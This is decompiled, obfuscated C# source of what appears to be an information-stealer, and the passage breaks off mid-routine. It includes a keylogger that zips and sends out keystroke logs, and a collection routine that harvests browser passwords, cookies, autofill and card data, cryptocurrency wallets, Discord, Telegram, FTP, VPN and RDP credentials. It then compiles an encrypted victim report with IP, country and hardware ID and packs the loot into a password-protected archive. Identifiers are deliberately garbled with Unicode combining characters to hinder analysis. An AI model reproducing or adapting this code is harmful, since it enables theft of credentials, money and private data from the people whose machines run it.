// Token: 0x0600038E RID: 910 RVA: 0x00018204 File Offset: 0x00016404
public ICollection <Class_163> kmethod_507(Class_168 arg_0, string str_0)
{
if (arg_0 == null)
{
throw new ArgumentNullException("zip");
}
List <Class_163> list = new List <Class_163>();
string text = (str_0 == null) ? null : str_0.Replace("/", "\\");
if (text != null)
{
while (text.EndsWith("\\"))
{
text = text.Substring(0, text.Length - 1);
}
}
using (IEnumerator <Class_163> enumerator = arg_0.dmethod_956())
{
while (enumerator.MoveNext())
{
Class_163 class_ = enumerator.Current;
if ((str_0 == null || Path.GetDirectoryName(class_.prop_12) == str_0 || Path.GetDirectoryName(class_.prop_12) == text) && this.vmethod_505(class_))
{
list.Add(class_);
}
}
}
return(list);
}
// Token: 0x0600038D RID: 909 RVA: 0x0001818C File Offset: 0x0001638C
public ICollection <Class_163> dmethod_506(Class_168 arg_0)
{
if (arg_0 == null)
{
throw new ArgumentNullException("zip");
}
List <Class_163> list = new List <Class_163>();
using (IEnumerator <Class_163> enumerator = arg_0.dmethod_956())
{
while (enumerator.MoveNext())
{
Class_163 class_ = enumerator.Current;
if (this.vmethod_505(class_))
{
list.Add(class_);
}
}
}
return(list);
}
// Token: 0x06000024 RID: 36 RVA: 0x00003664 File Offset: 0x00001864
public static void dmethod_16()
{
using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866")))
{
class_.prop_34 = -1L;
class_.prop_17 = Class_169.Always;
class_.prop_9 = Class_202.BestCompression;
class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb;
class_.vmethod_775("Keylog" + Class_8.field_8.ToString() + ".txt", Encoding.UTF8.GetBytes(Class_8.field_6));
Class_8.field_6 = "";
class_.smethod_930(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Microsoft\\Log" + Class_8.field_8.ToString() + ".zip");
}
Class_82.vmethod_245(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Microsoft\\Log" + Class_8.field_8.ToString() + ".zip", "k");
try
{
File.Delete(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Microsoft\\Log" + Class_8.field_8.ToString() + ".zip");
}
catch
{
}
}
// Token: 0x060002FA RID: 762 RVA: 0x00016389 File Offset: 0x00014589
public void smethod_420(string str_0)
{
Class_168.vmethod_785(str_0);
}
// Token: 0x060002F9 RID: 761 RVA: 0x00016380 File Offset: 0x00014580
public bool pmethod_419(string str_0, string str_1)
{
return(Class_168.dmethod_786(str_0, str_1));
}
// Token: 0x060002F8 RID: 760 RVA: 0x00016378 File Offset: 0x00014578
public bool lmethod_418(string str_0)
{
return(Class_168.gmethod_783(str_0));
}
// Token: 0x060002F7 RID: 759 RVA: 0x0001636F File Offset: 0x0001456F
public bool kmethod_417(string str_0)
{
return(Class_168.gmethod_923(str_0, true));
}
// Token: 0x060002F6 RID: 758 RVA: 0x00016367 File Offset: 0x00014567
public bool dmethod_416(string str_0)
{
return(Class_168.tmethod_922(str_0));
}
// Token: 0x06000126 RID: 294 RVA: 0x0000C0D0 File Offset: 0x0000A2D0
public static void GetCollection()
{
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals1 = new Class_53.< > c__DisplayClass6_0();
Directory.CreateDirectory(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm);
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
Task[] array = new Task[1];
array[0] = new Task(delegate()
{
Class_57.a();
});
CS$ < > 8__locals2.t0 = array;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals3 = CS$ < > 8__locals1;
Task[] array2 = new Task[1];
array2[0] = new Task(delegate()
{
Class_53.GetChromium();
});
CS$ < > 8__locals3.t1 = array2;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals4 = CS$ < > 8__locals1;
Task[] array3 = new Task[1];
array3[0] = new Task(delegate()
{
Class_53.GetGecko();
});
CS$ < > 8__locals4.t2 = array3;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals5 = CS$ < > 8__locals1;
Task[] array4 = new Task[1];
array4[0] = new Task(delegate()
{
Class_113.tmethod_412(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
});
CS$ < > 8__locals5.t3 = array4;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals6 = CS$ < > 8__locals1;
Task[] array5 = new Task[1];
array5[0] = new Task(delegate()
{
Class_56.gmethod_153(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals6.t4 = array5;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals7 = CS$ < > 8__locals1;
Task[] array6 = new Task[1];
array6[0] = new Task(delegate()
{
Class_13.gmethod_33(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals7.t5 = array6;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals8 = CS$ < > 8__locals1;
Task[] array7 = new Task[1];
array7[0] = new Task(delegate()
{
Class_3.tmethod_2(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals8.t6 = array7;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals9 = CS$ < > 8__locals1;
Task[] array8 = new Task[1];
array8[0] = new Task(delegate()
{
Class_10.xmethod_31(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals9.t7 = array8;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals10 = CS$ < > 8__locals1;
Task[] array9 = new Task[1];
array9[0] = new Task(delegate()
{
Class_91.dmethod_256(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals10.t8 = array9;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals11 = CS$ < > 8__locals1;
Task[] array10 = new Task[1];
array10[0] = new Task(delegate()
{
Class_7.pmethod_9(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals11.t9 = array10;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals12 = CS$ < > 8__locals1;
Task[] array11 = new Task[1];
array11[0] = new Task(delegate()
{
Class_17.cmethod_44(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals12.t11 = array11;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals13 = CS$ < > 8__locals1;
Task[] array12 = new Task[1];
array12[0] = new Task(delegate()
{
Class_54.xmethod_151(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals13.t12 = array12;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals14 = CS$ < > 8__locals1;
Task[] array13 = new Task[1];
array13[0] = new Task(delegate()
{
Class_14.vmethod_35(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals14.t13 = array13;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals15 = CS$ < > 8__locals1;
Task[] array14 = new Task[1];
array14[0] = new Task(delegate()
{
Class_11.tmethod_32(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals15.t14 = array14;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals16 = CS$ < > 8__locals1;
Task[] array15 = new Task[1];
array15[0] = new Task(delegate()
{
Class_96.vmethod_265();
});
CS$ < > 8__locals16.t15 = array15;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals17 = CS$ < > 8__locals1;
Task[] array16 = new Task[1];
array16[0] = new Task(delegate()
{
Class_83.kmethod_247();
});
CS$ < > 8__locals17.t16 = array16;
try
{
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t0;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t1;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t2;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t3;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t4;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t5;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t6;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t7;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t8;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t9;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t11;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t12;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t13;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t14;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t15;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t16;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
Task.WaitAll(CS$ < > 8__locals1.t0);
Task.WaitAll(CS$ < > 8__locals1.t1);
Task.WaitAll(CS$ < > 8__locals1.t2);
Task.WaitAll(CS$ < > 8__locals1.t3);
Task.WaitAll(CS$ < > 8__locals1.t4);
Task.WaitAll(CS$ < > 8__locals1.t5);
Task.WaitAll(CS$ < > 8__locals1.t6);
Task.WaitAll(CS$ < > 8__locals1.t7);
Task.WaitAll(CS$ < > 8__locals1.t8);
Task.WaitAll(CS$ < > 8__locals1.t9);
Task.WaitAll(CS$ < > 8__locals1.t11);
Task.WaitAll(CS$ < > 8__locals1.t12);
Task.WaitAll(CS$ < > 8__locals1.t13);
Task.WaitAll(CS$ < > 8__locals1.t14);
Task.WaitAll(CS$ < > 8__locals1.t15);
Task.WaitAll(CS$ < > 8__locals1.t16);
}
catch
{
}
GC.Collect();
try
{
Class_2.xmethod_1(Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq);
}
catch
{
}
try
{
Class_57.b();
Class_93.Copy();
}
catch
{
}
Class_5.field_4.Clear();
Class_5.field_5.Clear();
Class_5.field_6.Clear();
GC.Collect();
string s = string.Concat(new string[]
{
"<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">",
Class_103.field_0,
"</h1>\n<p style=\"color:white\">\ud83d\udc64 ",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
"/",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ",
Class_47.IP(),
Class_47.Country(),
Class_47.checc(),
"</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\"> ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\"> ∟Chromium: ",
Class_49.field_1.ToString(),
"</p>\n<p style=\"color:white;margin-left:-1.5em\"> ∟Edge: ",
Class_113.field_0.ToString(),
"</p>\n<p style=\"color:white;margin-left:-0.9em\"> ∟Gecko: ",
Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83c\udf6a",
(Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
"</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83d\udd51",
Class_49.field_5.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4.5em\"> ∟\ud83d\udcdd",
Class_49.field_2.ToString(),
"</p>\n<p style=\"color:white;margin-left:-5.5em\"> ∟\ud83d\udcb3",
Class_49.field_6.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4.8em\"> ∟⨭",
Class_49.field_3.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ",
(Class_54.field_0 > 0) ? "✅" : "❌",
(Class_79.field_0 > 0) ? " Electrum" : "",
(Class_73.field_0 > 0) ? " Armory" : "",
(Class_4.field_0 > 0) ? " Atomic" : "",
(Class_20.field_0 > 0) ? " BitcoinCore" : "",
(Class_80.field_0 > 0) ? " Bytecoin" : "",
(Class_94.field_0 > 0) ? " DashCore" : "",
(Class_18.field_0 > 0) ? " Ethereum" : "",
(Class_90.field_0 > 0) ? " Exodus" : "",
(Class_6.field_0 > 0) ? " LitecoinCore" : "",
(Class_55.field_0 > 0) ? " Monero" : "",
(Class_89.field_0 > 0) ? " Zcash" : "",
(Class_15.field_0 > 0) ? " Jaxx" : "",
"</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ",
Class_5.field_1.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ",
Class_5.field_3.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ",
Class_5.field_2.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ",
(Class_17.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">✈️ Telegram: ",
(Class_96.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">\ud83d\udca1 Jabber: ",
(Class_11.field_0 + Class_74.field_0 > 0) ? "✅" : "❌",
(Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
(Class_11.field_0 > 0) ? " Psi" : "",
"</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\"> ∟ FileZilla: ",
(Class_13.field_0 > 0) ? ("✅ (" + Class_13.field_0.ToString() + ")") : "❌",
"</p>\n<p style=\"color:white\"> ∟ TotalCmd: ",
(Class_3.field_0 > 0) ? "✅" : "❌",
"</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\"> ∟ NordVPN: ",
(Class_7.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\"> ∟ OpenVPN: ",
(Class_91.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\"> ∟ ProtonVPN: ",
(Class_10.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ",
Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
"</p>\n<p style=\"color:white\">⚙️ ",
Class_14.smethod_40(),
"</p>\n<p style=\"color:white\">\ud83d\udd0e ",
Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf,
"</p>\n</center>\n</body>\n</html>"
});
string s2 = string.Concat(new string[]
{
Class_103.field_0,
"\nComputer: ",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
"/",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"\nIP: ",
Class_47.IP(),
Class_47.Country(),
Class_47.checc(),
"\nBrowsers Data\n ∟Passwords:\n ∟Chromium: ",
Class_49.field_1.ToString(),
"\n ∟Edge: ",
Class_113.field_0.ToString(),
"\n ∟Gecko: ",
Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
"\n ∟Cookies:",
(Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
"\n ∟History:",
Class_49.field_5.ToString(),
"\n ∟Autofills:",
Class_49.field_2.ToString(),
"\n ∟CC:",
Class_49.field_6.ToString(),
"\n ∟Downloads:",
Class_49.field_3.ToString(),
"\nWallets: ",
(Class_54.field_0 > 0) ? "Yes" : "No",
(Class_79.field_0 > 0) ? " Electrum" : "",
(Class_73.field_0 > 0) ? " Armory" : "",
(Class_4.field_0 > 0) ? " Atomic" : "",
(Class_20.field_0 > 0) ? " BitcoinCore" : "",
(Class_80.field_0 > 0) ? " Bytecoin" : "",
(Class_94.field_0 > 0) ? " DashCore" : "",
(Class_18.field_0 > 0) ? " Ethereum" : "",
(Class_90.field_0 > 0) ? " Exodus" : "",
(Class_6.field_0 > 0) ? " LitecoinCore" : "",
(Class_55.field_0 > 0) ? " Monero" : "",
(Class_89.field_0 > 0) ? " Zcash" : "",
(Class_15.field_0 > 0) ? " Jaxx" : "",
"\nFileGrabber: ",
Class_5.field_1.ToString(),
"\nRecursive Wallets: ",
Class_5.field_3.ToString(),
"\nRDP: ",
Class_5.field_2.ToString(),
"\nDiscord: ",
(Class_17.field_0 > 0) ? "Yes" : "No",
"\nTelegram: ",
(Class_96.field_0 > 0) ? "Yes" : "No",
"\nJabber: ",
(Class_11.field_0 + Class_74.field_0 > 0) ? "Yes" : "No",
(Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
(Class_11.field_0 > 0) ? " Psi" : "",
"\nFTP\n ∟ FileZilla: ",
(Class_13.field_0 > 0) ? ("Yes (" + Class_13.field_0.ToString() + ")") : "No",
"\n ∟ TotalCmd: ",
(Class_3.field_0 > 0) ? "Yes" : "No",
"\nVPN\n ∟ NordVPN: ",
(Class_7.field_0 > 0) ? "Yes" : "No",
"\n ∟ OpenVPN: ",
(Class_91.field_0 > 0) ? "Yes" : "No",
"\n ∟ ProtonVPN: ",
(Class_10.field_0 > 0) ? "Yes" : "No",
"\nHWID: ",
Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
"\nDomains: ",
Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf
});
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information.html", Class_47.RC4(Encoding.UTF8.GetBytes(s)));
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information_Simplified.txt", Class_47.RC4(Encoding.UTF8.GetBytes(s2)));
string str_ = string.Concat(new string[]
{
Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm,
"\\",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"_",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
Class_47.CountryCOde(),
".zip"
});
using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866")))
{
class_.prop_34 = -1L;
class_.prop_17 = Class_169.Always;
class_.prop_9 = Class_202.BestCompression;
class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb;
foreach (KeyValuePair <string, byte[]> keyValuePair in Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln)
{
class_.vmethod_775(keyValuePair.Key, Class_47.RC4(keyValuePair.Value));
}
foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp)
{
try
{
class_.pmethod_749(keyValuePair2.Key, keyValuePair2.Value);
}
catch
{
}
}
if (Class_96.field_2 != null)
{
